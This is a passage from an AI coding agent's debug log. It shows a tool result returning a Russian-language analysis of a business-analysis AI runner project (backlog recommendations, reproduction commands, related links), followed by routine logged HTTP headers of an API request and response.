\u043f\u043e\u0442\u043e\u043c \u0432\u044b\u0431\u0438\u0440\u0430\u0439\u0442\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442.**\\n    \u0415\u0441\u0442\u044c \u043b\u0438 \u0443 \u0441\u0440\u0435\u0434\u044b API \u043c\u043e\u0434\u0435\u043b\u0438, \u043c\u043e\u0436\u043d\u043e \u043b\u0438 \u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0441\u0435\u0440\u0432\u0435\u0440, \u043a\u0430\u043a\u0438\u0435 \u043e\u0431\u0440\u0430\u0437\u044b\\n    \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0438\u0437 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0435\u0442\u0438. \u0418\u043d\u0430\u0447\u0435 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u2014\\n    \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0435 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u043d\u0435\u043b\u044c\u0437\u044f \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044c ([\u0413-42](#\u0433-42), [\u0413-43](#\u0433-43)).\\n\\n## \u0412\u044b\u0432\u043e\u0434: \u0432\u0435\u043a\u0442\u043e\u0440 \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u044f \u0438 \u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u044c \u043a \u043e\u0442\u043b\u0430\u0434\u043a\u0435\\n\\n**\u0412\u0435\u043a\u0442\u043e\u0440 \u0432\u0435\u0440\u043d\u044b\u0439, \u043d\u043e \u0443 \u043d\u0435\u0433\u043e \u043d\u0435 \u0445\u0432\u0430\u0442\u0430\u043b\u043e \u043e\u0434\u043d\u043e\u0433\u043e \u0437\u0432\u0435\u043d\u0430.** Source \u2192\\nDistribution \u2192 Runtime \u2192 Feedback \u043f\u043e\\n[ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md)\\n\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u043e\u0442\u0434\u0435\u043b\u044f\u0435\u0442 \u0442\u0435\u043e\u0440\u0438\u044e \u043e\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f. \u041d\u0435\u0434\u043e\u0441\u0442\u0430\u044e\u0449\u0435\u0435 \u0437\u0432\u0435\u043d\u043e \u2014 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\\n\u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430: \u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438. \u0415\u0433\u043e \u043d\u0435 \u043d\u0443\u0436\u043d\u043e\\n\u043f\u043e\u043a\u0443\u043f\u0430\u0442\u044c; \u0435\u0433\u043e \u043d\u0443\u0436\u043d\u043e \u0434\u043e\u043f\u0438\u0441\u0430\u0442\u044c \u0438\u0437 \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e runner GigaCode. \u041f\u043e\u044d\u0442\u043e\u043c\u0443\\n\u0434\u0432\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u2014 \u044d\u0442\u043e \u043e\u0434\u043d\u0430 \u0442\u0440\u0430\u0435\u043a\u0442\u043e\u0440\u0438\u044f: \u0441\u043d\u0430\u0447\u0430\u043b\u0430 runner-\u0432\u0435\u0434\u0443\u0449\u0438\u0439 \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c\\n\u043c\u0435\u0441\u0442\u0435, \u0437\u0430\u0442\u0435\u043c \u0442\u043e\u0442 \u0436\u0435 runner \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\\n\\n**\u0413\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u044c \u043a \u043e\u0442\u043b\u0430\u0434\u043a\u0435.** \u041f\u0430\u043a\u0435\u0442 Cline \u0433\u043e\u0442\u043e\u0432 \u043a \u043e\u0442\u043b\u0430\u0434\u043a\u0435 \u0441 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u043c\u0438 \u043f\u0435\u0440\u0432\u043e\u0439\\n\u0447\u0430\u0441\u0442\u0438. Runner GigaCode \u0433\u043e\u0442\u043e\u0432 \u043a \u043e\u0442\u043b\u0430\u0434\u043a\u0435 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u043e\u0432, \u043d\u043e \u043d\u0435 \u043a \u0437\u0430\u043c\u0435\u0440\u0430\u043c \u043f\u0438\u043b\u043e\u0442\u0430:\\n\u043f\u043e\u043a\u0430 \u043c\u0435\u0442\u0440\u0438\u043a\u0430 \u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u0430\u043a\u0435\u0442\u0430, \u0437\u0430\u043c\u0435\u0440 `deterministic_share` \u043d\u0438\u0447\u0435\u0433\u043e\\n\u043d\u0435 \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u043e \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0448\u0430\u0433\u043e\u0432 ([\u0413-30](#\u0433-30)). \u0414\u043e \u043f\u0435\u0440\u0432\u044b\u0445 10 \u0437\u0430\u0434\u0430\u0447 \u043f\u0438\u043b\u043e\u0442\u0430\\nADR-018 \u043d\u0443\u0436\u043d\u044b \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f 1.1\u20131.3 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 1.\\n\\n## \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u0434\u043b\u044f \u0431\u044d\u043a\u043b\u043e\u0433\u0430\\n\\n\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u2014 \u0432\u0445\u043e\u0434 \u0434\u043b\u044f \u0431\u044d\u043a\u043b\u043e\u0433\u0430 \u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430, \u0430 \u043d\u0435 \u043f\u0440\u0438\u043d\u044f\u0442\u044b\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f.\\n\\n| \u041f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442 | \u0427\u0442\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c | \u0422\u0438\u043f | \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u044b | \u0417\u0430\u0434\u0430\u0447\u0430 \u0431\u044d\u043a\u043b\u043e\u0433\u0430 |\\n|-----------|-------------|-----|----------|----------------|\\n| 1 | Runner \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u044b \u0440\u0451\u0431\u0435\u0440 \u0438\u0437 YAML | \u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434 | [\u0413-28](#\u0433-28) | B-211 |\\n| 1 | \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430; \u043c\u0435\u0442\u0440\u0438\u043a\u0430 \u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0432\u044b\u0445\u043e\u0434\u044b | \u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434 \u0438 Source | [\u0413-29](#\u0433-29), [\u0413-30](#\u0433-30) | B-212 |\\n| 1 | \u041e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u0438 \u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u0430; \u043e\u0448\u0438\u0431\u043a\u0430 \u0432\u0432\u043e\u0434\u0430 \u043d\u0435 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u0437\u0430\u0434\u0430\u0447\u0443 | \u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434 | [\u0413-31](#\u0433-31), [\u0413-32](#\u0433-32), [\u0413-34](#\u0433-34) | B-213 |\\n| 1 | \u0420\u0435\u0448\u0438\u0442\u044c \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u043e \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u0443\u044e\u0449\u0435\u0439 \u043f\u043e\u043f\u044b\u0442\u043a\u0435 `EP-R7` | \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 | [\u0413-33](#\u0433-33) | B-214 |\\n| 2 | \u041d\u0430\u0437\u043d\u0430\u0447\u0438\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u0432 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438; \u043f\u0435\u0440\u0435\u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c `EP-R8` | \u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043c\u043e\u0434\u0435\u043b\u044c | [\u0413-26](#\u0433-26), [\u0413-27](#\u0433-27) | B-215 |\\n| 2 | \u041e\u0434\u043d\u043e \u044f\u0434\u0440\u043e runner \u0434\u043b\u044f \u043f\u0430\u043a\u0435\u0442\u043e\u0432 GigaCode \u0438 Cline; \u043a\u043e\u043c\u0430\u043d\u0434\u0430 `next` | \u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434 | [\u0413-40](#\u0433-40) | B-216 |\\n| 2 | \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c GigaCode CLI: \u0432\u0435\u0440\u0441\u0438\u044f, hooks, \u0437\u0430\u043f\u0443\u0441\u043a \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u043a\u043e\u043c\u0430\u043d\u0434 | \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c | [\u0413-42](#\u0433-42) | B-217 |\\n| 3 | RFC \u0441\u0440\u0435\u0434\u044b 4: \u0441\u043b\u0443\u0436\u0431\u0430 runner, Postgres, \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0411\u0410, \u043c\u0435\u0441\u0442\u043e n8n; \u0442\u0440\u0438\u0433\u0433\u0435\u0440 \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0430 \u0432\u043d\u0435\u0448\u043d\u0435\u0433\u043e \u0434\u0432\u0438\u0436\u043a\u0430 | \u0412\u044b\u0431\u043e\u0440 | [\u0413-43](#\u0433-43)\u2026[\u0413-54](#\u0433-54) | B-218 |\\n\\n\u0417\u0430\u0434\u0430\u0447\u0438 B-211\u2026B-218 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u044b \u0432\\n[\u0421\u043f\u0440\u0438\u043d\u0442 26 \u0431\u044d\u043a\u043b\u043e\u0433\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ops/backlog.md)\\n\u0441\u043e \u0441\u0442\u0430\u0442\u0443\u0441\u043e\u043c `TODO` \u0438 \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442\u043e\u043c `null`: \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442 \u043d\u0430\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u0447\u0435\u043b\u043e\u0432\u0435\u043a.\\n\\n## \u0412\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u0435\\n\\n```bash\\npip install -r projects/ba-ai-process/dist/execution-package-gigacode-cli/requirements.txt\\npython3 projects/ba-ai-process/experiments/issue_639_runner_probes.py\\n```\\n\\n\u0421\u043a\u0440\u0438\u043f\u0442 \u043a\u043e\u043f\u0438\u0440\u0443\u0435\u0442 \u043f\u0430\u043a\u0435\u0442 GigaCode \u0432\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e \u043f\u0430\u043f\u043a\u0443 \u0438 \u043d\u0435 \u043c\u0435\u043d\u044f\u0435\u0442\\n\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439. `P10` \u2014 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442 \u043a\u0430\u043a \u0432\u044b\u0445\u043e\u0434 n1, n2 \u0438 n3 \u043f\u043e\u0441\u043b\u0435\\n\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u043e\u0433\u043e n0; `P11` \u2014 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u044b YAML \u043f\u0440\u043e\u0442\u0438\u0432 \u0432\u0435\u0442\u043e\u043a \u0432 Python; `P12` \u2014\\n\u043e\u0434\u043d\u0430 \u043e\u043f\u0435\u0447\u0430\u0442\u043a\u0430 \u0432 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0435 \u0438 \u043f\u043e\u0432\u0442\u043e\u0440 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439. \u0412\u043d\u0435\u0448\u043d\u0438\u0435 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438\\n\u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043d\u044b 2026-09-29; \u0432\u0435\u0440\u0441\u0438\u0438: n8n 2.40.7, Cline 4.1.21, Open WebUI 0.11.4.\\n\\n## Related Artifacts\\n\\n- [Issue #639](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639) \u0438 [\u0437\u0430\u043c\u0435\u0447\u0430\u043d\u0438\u0435 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u0432 PR #643](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/643#issuecomment-5884160620) \u2014 \u0437\u0430\u0434\u0430\u0447\u0430 \u0438 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u043e\u0445\u0432\u0430\u0442\u0430.\\n- [\u041f\u0435\u0440\u0432\u0430\u044f \u0447\u0430\u0441\u0442\u044c: \u043f\u0430\u043a\u0435\u0442 Cline VS Code](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md) \u2014 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b \u0413-01\u2026\u0413-25.\\n- [\u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c: \u0440\u0430\u043c\u043a\u0430 \u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u0438 `EP-R1`\u2026`EP-R9`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md).\\n- [ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md), [ADR-018](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md), [ADR-019](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md) \u2014 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 \u0438 \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u0441\u0440\u0435\u0434.\\n- [Issue #615](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/615) \u2014 \u0441\u0440\u0435\u0434\u044b 1\u20134.\\n- [RFC \u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f GigaCode CLI](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-mango-ba-ai-runtime-cli-deployment.md) \u2014 \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u0430 C.\\n- [\u0412\u0435\u0440\u0434\u0438\u043a\u0442 `M4`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/orchestration/30-decision-framework.md) \u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043c\u0430\u044f 2026 \u043f\u0440\u043e n8n: [\u0434\u043e\u0440\u043e\u0436\u043d\u0430\u044f \u043a\u0430\u0440\u0442\u0430 RAG](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/mango/2026-05-26-rag-mapping-roadmap.md), [\u0436\u0438\u0437\u043d\u0435\u043d\u043d\u044b\u0439 \u0446\u0438\u043a\u043b \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/mango/2026-05-26-requirements-lifecycle-uncertainty.md).\\n- [\u042d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/experiments/issue_639_runner_probes.py) \u0438 [\u0436\u0443\u0440\u043d\u0430\u043b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/experiments/issue_639_runner_probes.log).\\n\",\n[2026-09-29T07:44:41.345Z] [INFO]       \"numLines\": 97,\n[2026-09-29T07:44:41.345Z] [INFO]       \"startLine\": 413,\n[2026-09-29T07:44:41.345Z] [INFO]       \"totalLines\": 509\n[2026-09-29T07:44:41.345Z] [INFO]     }\n[2026-09-29T07:44:41.345Z] [INFO]   }\n[2026-09-29T07:44:41.345Z] [INFO] }\n[2026-09-29T07:44:41.360Z] [STDOUT] [log_975a35] sending request {\n[2026-09-29T07:44:41.374Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:44:41.377Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:41.383Z] [STDOUT]   options: {\n[2026-09-29T07:44:41.390Z] [STDOUT]     method: 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true,\n[2026-09-29T07:44:41.869Z] [STDOUT]   },\n[2026-09-29T07:44:41.876Z] [STDOUT]   headers: {\n[2026-09-29T07:44:41.879Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:44:41.885Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:44:41.889Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:44:41.892Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:44:41.893Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:44:41.898Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:44:41.903Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:44:41.910Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:44:41.915Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:44:41.920Z] [STDOUT]     \"x-claude-code-agent-id\": \"a8223c4e8f50f54ab\",\n[2026-09-29T07:44:41.928Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:44:41.938Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1489\",\n[2026-09-29T07:44:41.942Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:44:41.945Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:44:41.948Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:41.951Z] [STDOUT]     \"x-client-request-id\": \"ea4a5513-2ed1-459f-82af-62c935a82ba1\",\n[2026-09-29T07:44:41.957Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:44:41.960Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:44:41.964Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:44:41.970Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:44:41.973Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:44:41.976Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:44:41.980Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:44:41.985Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:44:41.991Z] [STDOUT]   },\n[2026-09-29T07:44:41.995Z] [STDOUT] }\n[2026-09-29T07:44:41.998Z] [STDOUT] [log_975a35, request-id: \"req_011CfXMhYQos9m5qcQjiUdRY\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 762ms\n[2026-09-29T07:44:42.002Z] [STDOUT] [log_975a35] response start {\n[2026-09-29T07:44:42.006Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:42.009Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:42.011Z] [STDOUT]   headers: {\n[2026-09-29T07:44:42.018Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:42.027Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:42.030Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:42.033Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:42.036Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:42.043Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:42.050Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:42.057Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:42.066Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:42.074Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:42.079Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:42.090Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:42.093Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:42.099Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:42.109Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:42.117Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:42.130Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:42.138Z] [STDOUT]     \"cf-ray\": \"a4295d314e5729ad-FRA\",\n[2026-09-29T07:44:42.176Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:44:42.188Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:42.191Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:42.197Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:42.204Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:44:41 GMT\",\n[2026-09-29T07:44:42.206Z] [STDOUT]     \"request-id\": \"req_011CfXMhYQos9m5qcQjiUdRY\",\n[2026-09-29T07:44:42.209Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:44:42.214Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:42.219Z] [STDOUT]     traceresponse: \"00-7fbd89a89183de781beb995070fe8862-dac2886dfa48c7f2-01\",\n[2026-09-29T07:44:42.222Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:42.230Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:44:42.235Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:42.245Z] [STDOUT]   },\n[2026-09-29T07:44:42.251Z] [STDOUT]   durationMs: 762,\n[2026-09-29T07:44:42.256Z] [STDOUT] }\n[2026-09-29T07:44:42.259Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:44:42.261Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:44:41 GMT\",\n[2026-09-29T07:44:42.283Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:42.287Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:42.297Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:44:42.301Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:42.305Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:42.312Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:42.315Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:44:42.322Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:42.327Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:42.337Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:42.346Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:42.349Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:42.352Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:42.356Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:42.361Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:42.366Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:42.370Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:42.374Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:42.379Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:42.384Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:42.387Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:42.391Z] [STDOUT]   \"request-id\": \"req_011CfXMhYQos9m5qcQjiUdRY\",\n[2026-09-29T07:44:42.394Z] [STDOUT]   \"traceresponse\": \"00-7fbd89a89183de781beb995070fe8862-dac2886dfa48c7f2-01\",\n[2026-09-29T07:44:42.397Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:42.404Z] [STDOUT]   \"anthropic-workspace-id\": 